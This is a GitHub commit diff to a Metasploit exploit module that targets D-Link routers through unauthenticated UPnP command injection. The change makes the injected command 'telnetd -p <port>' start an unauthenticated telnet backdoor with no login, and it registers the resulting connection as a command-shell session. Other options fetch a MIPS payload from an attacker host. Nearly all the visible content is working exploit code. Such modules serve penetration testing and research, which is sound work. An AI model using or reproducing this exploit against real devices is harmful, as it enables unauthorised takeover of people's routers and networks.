Skip to content

Commit 47ca4fd

Browse files
author
m-1-k-3
committed
session now working
1 parent 9133dba commit 47ca4fd

File tree

1 file changed

+33
-18
lines changed

1 file changed

+33
-18
lines changed

modules/exploits/linux/http/dlink_upnp_exec_noauth.rb

Lines changed: 33 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -58,13 +58,13 @@ def initialize(info = {})
5858
'Platform' => 'unix'
5959
}
6060
],
61-
[ 'Telnet', #all devices
61+
[ 'Telnet', #all devices, use a netcat bind payload for getting a valid session
6262
{
6363
'Arch' => ARCH_CMD,
6464
'Platform' => 'unix'
6565
}
6666
],
67-
[ 'Linux mipsel Payload', #DIR-865, DIR-645
67+
[ 'Linux mipsel Payload', #DIR-865, DIR-645, and some more
6868
{
6969
'Arch' => ARCH_MIPSLE,
7070
'Platform' => 'linux'
@@ -80,8 +80,8 @@ def initialize(info = {})
8080
OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]),
8181
OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
8282
OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]),
83-
OptString.new('TELNETUSER', [false, 'User to start the telnet daemon (default: random)' ]),
84-
OptString.new('TELNETPASS', [false, 'User to start the telnet daemon (default: random)' ])
83+
#OptString.new('TELNETUSER', [false, 'User to start the telnet daemon (default: random)' ]),
84+
#OptString.new('TELNETPASS', [false, 'User to start the telnet daemon (default: random)' ])
8585
], self.class)
8686
end
8787

@@ -144,6 +144,7 @@ def request(cmd, type, new_external_port, new_internal_port, new_portmapping_des
144144
end
145145

146146
def exploit
147+
handler
147148
downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))
148149

149150
new_portmapping_description = rand_text_alpha(8)
@@ -170,15 +171,16 @@ def exploit
170171
end
171172

172173
if target.name =~ /Telnet/
173-
passw = datastore['TELNETPASS'] || rand_text_alpha(8)
174-
user = datastore['TELNETUSER'] || rand_text_alpha(4)
174+
#passw = datastore['TELNETPASS'] || rand_text_alpha(8)
175+
#user = datastore['TELNETUSER'] || rand_text_alpha(4)
175176
telnetport = rand(65535)
176177

177-
vprint_status("#{rhost}:#{rport} - User: #{user}")
178-
vprint_status("#{rhost}:#{rport} - Password: #{passw}")
178+
#vprint_status("#{rhost}:#{rport} - User: #{user}")
179+
#vprint_status("#{rhost}:#{rport} - Password: #{passw}")
179180
vprint_status("#{rhost}:#{rport} - Telnetport: #{telnetport}")
180181

181-
cmd = "telnetd -p #{telnetport} -l \"/usr/sbin/login\" -u #{user}:#{passw}"
182+
#cmd = "telnetd -p #{telnetport} -l \"/usr/sbin/login\" -u #{user}:#{passw}"
183+
cmd = "telnetd -p #{telnetport}" # -l \"/usr/sbin/login\" -u #{user}:#{passw}"
182184
type = "add"
183185
res = request(cmd, type, new_external_port, new_internal_port, new_portmapping_description)
184186
if (!res or res.code != 200)
@@ -199,13 +201,13 @@ def exploit
199201
print_error("#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
200202
end
201203

202-
print_status "Attempting to start a Telnet session #{rhost}:#{telnetport} with #{user}:#{passw}"
204+
print_status "Attempting to start a Telnet session #{rhost}:#{telnetport}" # with #{user}:#{passw}"
203205
auth_info = {
204206
:host => rhost,
205207
:port => telnetport,
206208
:sname => 'telnet',
207-
:user => user,
208-
:pass => passw,
209+
#:user => user,
210+
#:pass => passw,
209211
:source_type => "exploit",
210212
:active => true
211213
}
@@ -214,13 +216,26 @@ def exploit
214216
'USERPASS_FILE' => nil,
215217
'USER_FILE' => nil,
216218
'PASS_FILE' => nil,
217-
'USERNAME' => user,
218-
'PASSWORD' => passw
219+
#'USERNAME' => user,
220+
#'PASSWORD' => passw
219221
}
220-
# NOT WORKING
221-
conn = Net::SSH::CommandStream.new(sock, '/bin/sh', true)
222-
#puts conn.methods.to_s
223-
start_session(self, "TELNET #{user}:#{passw} (#{rhost}:#{telnetport})", merge_me, false, conn.lsock)
222+
#taken from ./lib/msf/core/auxiliary/commandshell.rb
223+
info = "TELNET (#{rhost}:#{telnetport})"
224+
sess = Msf::Sessions::CommandShell.new(sock)
225+
sess.set_from_exploit(self)
226+
sess.info = info
227+
228+
# Clean up the stored data
229+
sess.exploit_datastore.merge!(merge_me)
230+
231+
# Prevent the socket from being closed
232+
self.sockets.delete(sock)
233+
self.sock = nil if self.respond_to? :sock
234+
235+
framework.sessions.register(sess)
236+
sess.process_autoruns(datastore)
237+
238+
sess
224239
rescue
225240
print_error("#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
226241
end

0 commit comments

Comments
 (0)